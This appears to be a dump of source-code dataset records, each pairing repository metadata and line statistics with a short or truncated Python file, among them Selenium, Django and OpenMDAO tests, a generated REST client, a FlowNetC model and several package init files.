"MIT"
] | null | null | null | qa327_test/frontend/test_login.py | 15vrs/cmpe-327 | aeb1de94604eb0d151ffdd9431b4149f2ec30f9c | [
"MIT"
] | null | null | null | qa327_test/frontend/test_login.py | 15vrs/cmpe-327 | aeb1de94604eb0d151ffdd9431b4149f2ec30f9c | [
"MIT"
] | null | null | null | import pytest
from seleniumbase import BaseCase
from qa327_test.conftest import base_url
from unittest.mock import Mock, patch
from qa327.models import db, User
from werkzeug.security import generate_password_hash, check_password_hash
# Mock a sample user
test_user = User(
email='test_frontend@test.com',
name... | 42.770925 | 107 | 0.660212 | 1,230 | 9,709 | 5.043902 | 0.120325 | 0.074146 | 0.079465 | 0.112186 | 0.835429 | 0.821889 | 0.817698 | 0.810123 | 0.798195 | 0.798195 | 0 | 0.013098 | 0.229375 | 9,709 | 227 | 108 | 42.770925 | 0.816092 | 0.270883 | 0 | 0.773723 | 1 | 0 | 0.222841 | 0.023126 | 0 | 0 | 0 | 0 | 0.335766 | 1 | 0.094891 | false | 0.211679 | 0.043796 | 0 | 0.145985 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
a0a0102ca38f5dda97f57ee7b625218b5ad38128 | 12,331 | py | Python | scripts/calculadoraAlimentos/pdf.py | Salvaaragon/LasGemelas | 88deac2b6a464f84a7cebc208b5583e1d2eddb19 | [
"MIT"
] | null | null | null | scripts/calculadoraAlimentos/pdf.py | Salvaaragon/LasGemelas | 88deac2b6a464f84a7cebc208b5583e1d2eddb19 | [
"MIT"
] | null | null | null | scripts/calculadoraAlimentos/pdf.py | Salvaaragon/LasGemelas | 88deac2b6a464f84a7cebc208b5583e1d2eddb19 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import pandas
import os
# Calcular la sumas de las columnas
# https://stackoverflow.com/questions/41286569/get-total-of-pandas-column
from jinja2 import Environment, FileSystemLoader # Templating
#from weasyprint import HTML # Generating PDF
#from headless_pdfkit import gen... | 35.950437 | 107 | 0.751602 | 1,616 | 12,331 | 5.471535 | 0.07797 | 0.063447 | 0.032233 | 0.03653 | 0.838611 | 0.83126 | 0.81701 | 0.804456 | 0.800611 | 0.795861 | 0 | 0.001852 | 0.124321 | 12,331 | 342 | 108 | 36.055556 | 0.817003 | 0.13681 | 0 | 0.732323 | 0 | 0 | 0.190692 | 0.002365 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035354 | false | 0 | 0.030303 | 0 | 0.065657 | 0.065657 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cd56976c3b6c694cb9f59ae3236fa5e334b8ac80 | 409 | py | Python | syft/serde/msgpack/__init__.py | NicoSerranoP/PySyft | 87fcd566c46fce4c16d363c94396dd26bd82a016 | [
"Apache-2.0"
] | 7 | 2020-04-20T22:22:08.000Z | 2020-07-25T17:32:08.000Z | syft/serde/msgpack/__init__.py | NicoSerranoP/PySyft | 87fcd566c46fce4c16d363c94396dd26bd82a016 | [
"Apache-2.0"
] | 3 | 2020-04-24T21:20:57.000Z | 2020-05-28T09:17:02.000Z | syft/serde/msgpack/__init__.py | NicoSerranoP/PySyft | 87fcd566c46fce4c16d363c94396dd26bd82a016 | [
"Apache-2.0"
] | 4 | 2020-04-24T22:32:37.000Z | 2020-05-25T19:29:20.000Z | from syft.serde.msgpack import serde # noqa: F401
from syft.serde.msgpack import native_serde # noqa: F401
from syft.serde.msgpack import torch_serde # noqa: F401
from syft.serde.msgpack import proto # noqa: F401
from syft.serde.msgpack.proto import proto_type_info # noqa: F401
from syft.serde.msgpack.serde impor... | 45.444444 | 66 | 0.784841 | 63 | 409 | 5.031746 | 0.222222 | 0.176656 | 0.287066 | 0.44164 | 0.785489 | 0.70347 | 0.615142 | 0.615142 | 0 | 0 | 0 | 0.059659 | 0.139364 | 409 | 8 | 67 | 51.125 | 0.840909 | 0.185819 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cd7e1afa5a3d6137b5f93d88d441e454a193a15c | 1,217 | py | Python | pointpillars_with_TANet/second/toy_example/pickle_change.py | mjseong0414/TANet | 830baa699c990f3f52baa062ab7b196825bf128e | [
"MIT"
] | null | null | null | pointpillars_with_TANet/second/toy_example/pickle_change.py | mjseong0414/TANet | 830baa699c990f3f52baa062ab7b196825bf128e | [
"MIT"
] | null | null | null | pointpillars_with_TANet/second/toy_example/pickle_change.py | mjseong0414/TANet | 830baa699c990f3f52baa062ab7b196825bf128e | [
"MIT"
] | null | null | null | import pickle
import sys
sys.path.append("/home/minjae/TANet/pointpillars_with_TANet/second/data/")
f = open("/home/minjae/TANet/pointpillars_with_TANet/second/data/JRDB_to_KITTI/JRDB_to_kitti_infos_val.pkl", 'rb')
data = pickle.load(f)
import pdb; pdb.set_trace()
# f = open("/home/joon/TANet/pointpillars_with_TANet/... | 48.68 | 126 | 0.760887 | 193 | 1,217 | 4.497409 | 0.233161 | 0.062212 | 0.114055 | 0.239631 | 0.800691 | 0.77765 | 0.77765 | 0.77765 | 0.724654 | 0.724654 | 0 | 0.0018 | 0.087099 | 1,217 | 25 | 127 | 48.68 | 0.779478 | 0.161052 | 0 | 0.133333 | 0 | 0 | 0.568338 | 0.523107 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
cd85de0168482227fb215bef0d0d59a6198a7e71 | 47 | py | Python | txamqpr/__init__.py | aliowka/txamqpr | c96082fa6807ea0945a273f7c7d355bb4cf709ec | [
"Apache-2.0"
] | null | null | null | txamqpr/__init__.py | aliowka/txamqpr | c96082fa6807ea0945a273f7c7d355bb4cf709ec | [
"Apache-2.0"
] | null | null | null | txamqpr/__init__.py | aliowka/txamqpr | c96082fa6807ea0945a273f7c7d355bb4cf709ec | [
"Apache-2.0"
] | null | null | null | from .txamqpr import txAMQPReconnectingFactory
| 23.5 | 46 | 0.893617 | 4 | 47 | 10.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 47 | 1 | 47 | 47 | 0.976744 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f87fa17534f7e029aa3bfe1bf46d5a2cc17fbc9f | 111 | py | Python | dist/micropy-cli/frozen/uasyncio/__init__.py | kevindawson/Pico-Stub | 6f9112779d4d81f821a3af273a450b9329ccdbab | [
"Apache-2.0"
] | 19 | 2021-01-25T23:56:09.000Z | 2022-02-21T13:55:16.000Z | dist/micropy-cli/frozen/uasyncio/__init__.py | kevindawson/Pico-Stub | 6f9112779d4d81f821a3af273a450b9329ccdbab | [
"Apache-2.0"
] | 18 | 2021-02-06T09:03:09.000Z | 2021-10-04T16:36:35.000Z | dist/micropy-cli/frozen/uasyncio/__init__.py | kevindawson/Pico-Stub | 6f9112779d4d81f821a3af273a450b9329ccdbab | [
"Apache-2.0"
] | 6 | 2021-01-26T08:41:47.000Z | 2021-04-27T11:33:33.000Z | from typing import Any
def __getattr__(attr: Any) -> Any: ...
# 0: return value
# ? 0: return value
| 18.5 | 38 | 0.603604 | 15 | 111 | 4.2 | 0.666667 | 0.222222 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024691 | 0.27027 | 111 | 5 | 39 | 22.2 | 0.753086 | 0.297297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f89d2cc66bb344f5ec290dbfab754a9911bd1f89 | 59,714 | py | Python | sel_dedicated_codegen/api/miscellaneous_api.py | xRocketPowerx/python-sel-dedicated | 3b9b41fbd7abc05d427e8abf688b007b6dcf9e96 | [
"MIT"
] | 2 | 2019-10-12T08:56:31.000Z | 2019-10-12T17:34:51.000Z | sel_dedicated_codegen/api/miscellaneous_api.py | xRocketPowerx/python-sel-dedicated | 3b9b41fbd7abc05d427e8abf688b007b6dcf9e96 | [
"MIT"
] | null | null | null | sel_dedicated_codegen/api/miscellaneous_api.py | xRocketPowerx/python-sel-dedicated | 3b9b41fbd7abc05d427e8abf688b007b6dcf9e96 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Seido User REST API
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: 2.4.8
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import... | 44.036873 | 130 | 0.59651 | 6,717 | 59,714 | 5.040941 | 0.030966 | 0.043946 | 0.066982 | 0.031896 | 0.964619 | 0.962345 | 0.961164 | 0.956999 | 0.954784 | 0.949882 | 0 | 0.01259 | 0.325636 | 59,714 | 1,355 | 131 | 44.069373 | 0.828255 | 0.452021 | 0 | 0.82459 | 1 | 0 | 0.173033 | 0.055377 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040984 | false | 0 | 0.008197 | 0 | 0.090164 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f8ae575619677af7c3ad6715725d756406b87f3e | 140 | py | Python | sinling/core/__init__.py | ysenarath/sinling | 34b4e3cecc8026f21d2845653ddb935c7705fea4 | [
"Apache-2.0"
] | 31 | 2019-06-19T09:26:28.000Z | 2022-01-04T02:08:59.000Z | sinling/core/__init__.py | ysenarath/sinling | 34b4e3cecc8026f21d2845653ddb935c7705fea4 | [
"Apache-2.0"
] | 6 | 2020-04-18T07:15:53.000Z | 2021-02-09T01:41:22.000Z | sinling/core/__init__.py | ysenarath/sinling | 34b4e3cecc8026f21d2845653ddb935c7705fea4 | [
"Apache-2.0"
] | 13 | 2019-11-06T03:10:05.000Z | 2021-12-06T02:19:51.000Z | from sinling.core.joiner import *
from sinling.core.stemmer import *
from sinling.core.tokenizer import *
from sinling.core.tagger import *
| 28 | 36 | 0.8 | 20 | 140 | 5.6 | 0.4 | 0.392857 | 0.535714 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 140 | 4 | 37 | 35 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
f8c6d1db23e04b76c93897503b2c1f149539aa43 | 15,722 | py | Python | networks/flownetc.py | naivete5656/BFP | 74c5604a9ba4eaa3ec3e2c76ef5e1282d7d10f18 | [
"MIT"
] | 8 | 2020-07-31T15:20:01.000Z | 2021-09-18T08:42:07.000Z | networks/flownetc.py | naivete5656/BFP | 74c5604a9ba4eaa3ec3e2c76ef5e1282d7d10f18 | [
"MIT"
] | null | null | null | networks/flownetc.py | naivete5656/BFP | 74c5604a9ba4eaa3ec3e2c76ef5e1282d7d10f18 | [
"MIT"
] | 5 | 2020-10-04T02:02:13.000Z | 2021-11-14T23:37:08.000Z | import torch
import torch.nn.functional as F
import torch.nn as nn
from torch.nn.init import kaiming_normal_, constant_
import math
import numpy as np
from .util import conv, predict_flow, deconv, crop_like, correlate
"Parameter count , 39,175,298 "
class FlowNetC(nn.Module):
expansion = 1
def __init__(sel... | 38.915842 | 85 | 0.622567 | 2,136 | 15,722 | 4.344569 | 0.080524 | 0.053233 | 0.060453 | 0.032759 | 0.871121 | 0.858405 | 0.856466 | 0.843966 | 0.82306 | 0.80625 | 0 | 0.094943 | 0.261735 | 15,722 | 403 | 86 | 39.012407 | 0.704575 | 0.303142 | 0 | 0.827751 | 0 | 0 | 0.005256 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047847 | false | 0 | 0.038278 | 0.019139 | 0.148325 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3e7242c68c16813170d82309e047333d3745e304 | 30,720 | py | Python | tests/test_app_routers_bond_tokens_GET.py | BoostryJP/ibet-Prime | 924e7f8da4f8feea0a572e8b5532e09bcdf2dc99 | [
"Apache-2.0"
] | 2 | 2021-08-19T12:35:25.000Z | 2022-02-16T04:13:38.000Z | tests/test_app_routers_bond_tokens_GET.py | BoostryJP/ibet-Prime | 924e7f8da4f8feea0a572e8b5532e09bcdf2dc99 | [
"Apache-2.0"
] | 46 | 2021-09-02T03:22:05.000Z | 2022-03-31T09:20:00.000Z | tests/test_app_routers_bond_tokens_GET.py | BoostryJP/ibet-Prime | 924e7f8da4f8feea0a572e8b5532e09bcdf2dc99 | [
"Apache-2.0"
] | 1 | 2021-11-17T23:18:27.000Z | 2021-11-17T23:18:27.000Z | """
Copyright BOOSTRY Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distr... | 44.716157 | 112 | 0.633333 | 2,917 | 30,720 | 6.259513 | 0.07782 | 0.073936 | 0.027384 | 0.013144 | 0.927378 | 0.923216 | 0.905636 | 0.900652 | 0.894627 | 0.88926 | 0 | 0.0729 | 0.273047 | 30,720 | 686 | 113 | 44.781341 | 0.744716 | 0.038086 | 0 | 0.842196 | 0 | 0 | 0.32902 | 0.210379 | 0 | 0 | 0.034504 | 0 | 0.030875 | 1 | 0.012007 | false | 0 | 0.012007 | 0 | 0.02916 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3e842bee8dca1ee70ccb3b6cc5b787670e3c9dda | 144 | py | Python | giza/tests/test_giza.py | cehbrecht/quick-sphinx-tutorial | 6a855e3d1c5d072951bf775bdfdf85388eba5df8 | [
"Apache-2.0"
] | 2 | 2016-04-20T22:03:57.000Z | 2016-06-14T18:54:54.000Z | giza/tests/test_giza.py | cehbrecht/quick-sphinx-tutorial | 6a855e3d1c5d072951bf775bdfdf85388eba5df8 | [
"Apache-2.0"
] | null | null | null | giza/tests/test_giza.py | cehbrecht/quick-sphinx-tutorial | 6a855e3d1c5d072951bf775bdfdf85388eba5df8 | [
"Apache-2.0"
] | 11 | 2018-02-01T23:42:12.000Z | 2021-04-28T04:02:29.000Z | from giza import calc_square
def test_calc_square():
assert calc_square(2, verbosity=0) == 4
assert calc_square(4, verbosity=1) == 16
| 24 | 44 | 0.715278 | 23 | 144 | 4.26087 | 0.608696 | 0.408163 | 0.326531 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059322 | 0.180556 | 144 | 5 | 45 | 28.8 | 0.771186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
903cc5e695d6564223090266b16341d9860cc5b6 | 29,537 | py | Python | tradenity/resources/store_credit.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | 1 | 2020-03-19T04:09:17.000Z | 2020-03-19T04:09:17.000Z | tradenity/resources/store_credit.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | null | null | null | tradenity/resources/store_credit.py | tradenity/python-sdk | d13fbe23f4d6ff22554c6d8d2deaf209371adaf1 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Tradenity API
Tradenity eCommerce Rest API
Contact: support@tradenity.com
"""
from __future__ import absolute_import
import re
import pprint
# python 2 and python 3 compatibility library
import six
from tradenity.api_client import ApiClient
class StoreCredit(object):
... | 33.450736 | 122 | 0.614314 | 3,370 | 29,537 | 5.102374 | 0.057864 | 0.093399 | 0.045362 | 0.028787 | 0.843094 | 0.794475 | 0.786333 | 0.778075 | 0.77191 | 0.765688 | 0 | 0.000433 | 0.296374 | 29,537 | 882 | 123 | 33.488662 | 0.826926 | 0.029082 | 0 | 0.640426 | 0 | 0 | 0.144787 | 0.035245 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.010638 | null | null | 0.004255 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
397a6b0709faf72d4f3d17e4cba5367524621398 | 10,656 | py | Python | openmdao/core/test/test_calc_gradient.py | colinxs/OpenMDAO | a9a52be29281a23a102c64b577066ee5fc70f4b4 | [
"Apache-2.0"
] | 17 | 2018-01-11T20:13:59.000Z | 2022-03-22T03:46:05.000Z | openmdao/core/test/test_calc_gradient.py | colinxs/OpenMDAO | a9a52be29281a23a102c64b577066ee5fc70f4b4 | [
"Apache-2.0"
] | 6 | 2017-10-19T23:14:14.000Z | 2020-11-22T17:30:57.000Z | openmdao/core/test/test_calc_gradient.py | colinxs/OpenMDAO | a9a52be29281a23a102c64b577066ee5fc70f4b4 | [
"Apache-2.0"
] | 10 | 2018-04-12T22:13:33.000Z | 2020-05-07T10:02:59.000Z | """ Unit tests for the calc_gradient method on Problem. """
from __future__ import print_function
import unittest
import numpy as np
from numpy.testing import assert_almost_equal
from six import text_type, PY3
from openmdao.api import Problem, Group, IndepVarComp, ExecComp
from openmdao.test.simple_comps import R... | 42.118577 | 103 | 0.626408 | 1,502 | 10,656 | 4.261651 | 0.08988 | 0.104984 | 0.098266 | 0.101234 | 0.880956 | 0.869395 | 0.860334 | 0.860334 | 0.845805 | 0.839713 | 0 | 0.012813 | 0.21631 | 10,656 | 252 | 104 | 42.285714 | 0.753682 | 0.16967 | 0 | 0.713415 | 0 | 0 | 0.125596 | 0 | 0 | 0 | 0 | 0 | 0.237805 | 1 | 0.042683 | false | 0 | 0.042683 | 0.012195 | 0.103659 | 0.006098 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
397d8aa637be1b8c1d921c41918b0b081405da59 | 252 | py | Python | calm/dsl/config/__init__.py | tonyjames/calm-dsl | e94a35e26a43a0081d6487a538675641fc1d3667 | [
"Apache-2.0"
] | null | null | null | calm/dsl/config/__init__.py | tonyjames/calm-dsl | e94a35e26a43a0081d6487a538675641fc1d3667 | [
"Apache-2.0"
] | null | null | null | calm/dsl/config/__init__.py | tonyjames/calm-dsl | e94a35e26a43a0081d6487a538675641fc1d3667 | [
"Apache-2.0"
] | 1 | 2020-02-13T02:56:58.000Z | 2020-02-13T02:56:58.000Z | from .config import (
get_config,
init_config,
print_config,
get_default_user_config_file,
set_config,
)
__all__ = [
"get_config",
"init_config",
"print_config",
"get_default_user_config_file",
"set_config",
]
| 14.823529 | 35 | 0.654762 | 30 | 252 | 4.833333 | 0.366667 | 0.124138 | 0.17931 | 0.262069 | 0.868966 | 0.868966 | 0.868966 | 0.868966 | 0.868966 | 0.868966 | 0 | 0 | 0.242063 | 252 | 16 | 36 | 15.75 | 0.759162 | 0 | 0 | 0 | 0 | 0 | 0.281746 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.071429 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
397e037edd923591e8d1bedd7452dad22ef8ff0f | 2,472 | py | Python | system/test.py | PDF2CASH/PDF2CASH_CloudUpdater | 94b59831b9c34dbd97c84a607f17a1958588deab | [
"MIT"
] | 1 | 2018-10-17T14:21:42.000Z | 2018-10-17T14:21:42.000Z | system/test.py | PDF2CASH/PDF2CASH_CloudUpdater | 94b59831b9c34dbd97c84a607f17a1958588deab | [
"MIT"
] | null | null | null | system/test.py | PDF2CASH/PDF2CASH_CloudUpdater | 94b59831b9c34dbd97c84a607f17a1958588deab | [
"MIT"
] | null | null | null | from django.test import TestCase
import json
class SystemTest(TestCase):
def test_post_1(self):
url = '/api/system/pdftoinvoice/'
file = open("system/test.zip", 'rb')
response = self.client.post(url, {'file': file}, format='multipart')
self.assertEqual(response.status_code, 200)
... | 41.2 | 76 | 0.602751 | 302 | 2,472 | 4.884106 | 0.135762 | 0.048814 | 0.097627 | 0.122034 | 0.865085 | 0.863729 | 0.825763 | 0.825763 | 0.825763 | 0.825763 | 0 | 0.01144 | 0.222087 | 2,472 | 59 | 77 | 41.898305 | 0.75559 | 0 | 0 | 0.705882 | 0 | 0 | 0.230178 | 0.073625 | 0 | 0 | 0 | 0 | 0.156863 | 1 | 0.117647 | false | 0 | 0.039216 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ffd0aa56c237765008ae556daed22a3979dad59b | 174 | py | Python | __init__.py | TheSecEng/MarkdownTOC | 7c69137249820dc586fd90b58fca2f34c54f2abc | [
"MIT"
] | 299 | 2015-01-16T23:58:12.000Z | 2022-03-12T03:26:17.000Z | __init__.py | naokazuterada/MarkdownTOC | b61546d001661d9385423556a62c21c36abc6857 | [
"MIT"
] | 137 | 2015-01-14T22:43:21.000Z | 2021-05-25T10:27:12.000Z | __init__.py | TheSecEng/MarkdownTOC | 7c69137249820dc586fd90b58fca2f34c54f2abc | [
"MIT"
] | 77 | 2015-01-23T17:51:36.000Z | 2022-03-16T02:19:38.000Z | from .markdowntoc.autorunner import AutoRunner
from .markdowntoc.markdowntoc_insert import MarkdowntocInsert
from .markdowntoc.markdowntoc_update import MarkdowntocUpdate
| 43.5 | 62 | 0.87931 | 17 | 174 | 8.882353 | 0.470588 | 0.298013 | 0.344371 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086207 | 174 | 3 | 63 | 58 | 0.949686 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f29e73f99181e06dc8f978880b3e4b5f44424ccc | 68 | py | Python | Codeforces/G_Challenge_Pennants.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/G_Challenge_Pennants.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/G_Challenge_Pennants.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | n=int(input())
print((n*(n+1)*(n+2)*(n+3)*(n+4)*n*(n+1)*(n+2))//720) | 34 | 53 | 0.455882 | 19 | 68 | 1.631579 | 0.473684 | 0.129032 | 0.193548 | 0.258065 | 0.322581 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134328 | 0.014706 | 68 | 2 | 53 | 34 | 0.328358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
f2b6a4cdfe5711eefdb890f0cf1dcc416da4dbf3 | 10,600 | py | Python | test-common/integrationtest/testcase/test_addreplica.py | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 2,659 | 2021-06-07T12:59:15.000Z | 2022-03-30T15:29:37.000Z | test-common/integrationtest/testcase/test_addreplica.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 1,396 | 2021-05-28T09:50:13.000Z | 2022-03-31T16:37:49.000Z | test-common/integrationtest/testcase/test_addreplica.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 499 | 2021-05-31T07:36:48.000Z | 2022-03-31T15:10:12.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 43.621399 | 111 | 0.566321 | 1,343 | 10,600 | 4.419955 | 0.123604 | 0.073113 | 0.114892 | 0.146226 | 0.813342 | 0.795991 | 0.78504 | 0.769879 | 0.75876 | 0.751685 | 0 | 0.048843 | 0.266038 | 10,600 | 242 | 112 | 43.801653 | 0.714139 | 0.081604 | 0 | 0.715084 | 0 | 0 | 0.119566 | 0 | 0 | 0 | 0 | 0 | 0.27933 | 1 | 0.039106 | false | 0 | 0.027933 | 0 | 0.072626 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4b4c70b33a40e74947b1d3a02473b56961605b04 | 247 | py | Python | metrilyx/schema/provider/interface.py | metrilyx/metrilyx-dataserver | 12a1663a4845a5e216097e8bba59429d53341857 | [
"Apache-2.0"
